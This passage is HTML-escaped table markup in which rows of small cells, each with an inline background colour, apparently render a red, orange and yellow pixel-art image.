&lt;td style=&quot;background-color: #aa0101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a90102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a90102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #b04706; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b04706; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b14707; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b24908; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b4480a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b14607; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b14602; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bd4b04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d14c05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e76703; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f9b221; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f49b14; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e95a04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d85708; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c14802; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b74306; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b24606; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b1480b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b4420b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cc4506; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e36606; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f4b520; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdf762; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fcfece; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fffbff; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fcfefb; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fefefd; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdfffd; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fefdf1; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffffc0; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f5cf5d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #df580b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c22807; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aa1e03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b61901; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c62710; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b81807; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c21508; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d11507; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cc1007; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b70804; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c2070a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba0504; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b40404; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b60207; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b10306; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a90103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a80202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a90100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ac0101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #af4605; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af4605; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af4605; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b04706; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b24405; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b04505; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae4704; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b34806; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c04808; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cc4c03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf5702; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d35604; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d44c08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ca4c0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf4805; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b84504; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b54307; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b64107; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b34307; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb3f02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #db5608; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ed9216; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f7e45c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdffcd; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fefdfc; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fefffb; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fefefe; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdfffe; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fefdf5; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffffc3; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fcee7c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dc711c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb2c05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b72309; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b71a06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #be1e0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b7160a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bd1109; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cc0f06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d10c04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b30601; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b60505; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc0404; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b20301; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae0202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ad0001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ac0101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae0302; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b50305; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b90407; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #b04605; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b04605; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b04605; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b04605; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b24405; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b14506; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae4706; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b04508; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b04507; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b34607; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb4307; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb4309; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b54509; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b54509; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bd4606; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b84401; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b54005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b83c05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af3e02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b23f05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d14809; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e4700c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f5da5a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdffc3; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fcfdf9; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fefff8; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fefff4; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdfff9; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fefdf9; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fffbcc; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fffb89; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e08426; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d12904; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b71c07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b41908; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b71604; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc160b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf0f07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c70c05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c80c05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b10501; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b00101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc0303; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb0302; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b90303; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b80405; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba0305; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb0306; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b50207; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af0104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #b04404; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b04404; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b04404; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b04404; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b14305; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b14306; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b04305; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b04205; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae4305; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae4305; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b44005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b43f05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae3f05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af3d06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf3d0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b43f06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af4003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b73c07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b23c02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ac3a04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c13a04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #de650b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f7e162; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdffb1; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdfcf8; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffffe9; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #eee68f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f7f2c5; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #feffe7; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fbfdaf; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdf573; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e3761b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #db2b0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b71806; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af1302; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b31301; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b80d01; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c11007; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b90a04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ab0401; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b20504; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b80304; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b40304; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b80404; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b70304; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aa0201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a60100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a50002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a20005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a20005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #af4303; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af4303; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af4303; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af4303; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af4204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af4104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af4104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af4104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af4102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae4102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af3f07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b33c01; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c34702; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d15d0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb4608; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b43b08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b03d06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b43806; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b23802; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b23606; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c03b08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d66f12; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fef472; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #feffb1; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fffbea; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fcfdc3; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ecdb58; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fbf4b9; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fcfdc5; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdff88; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f3bf49; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #de4509; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cd2209; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ab1304; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b60d05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc0a05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #be0504; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c4090b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
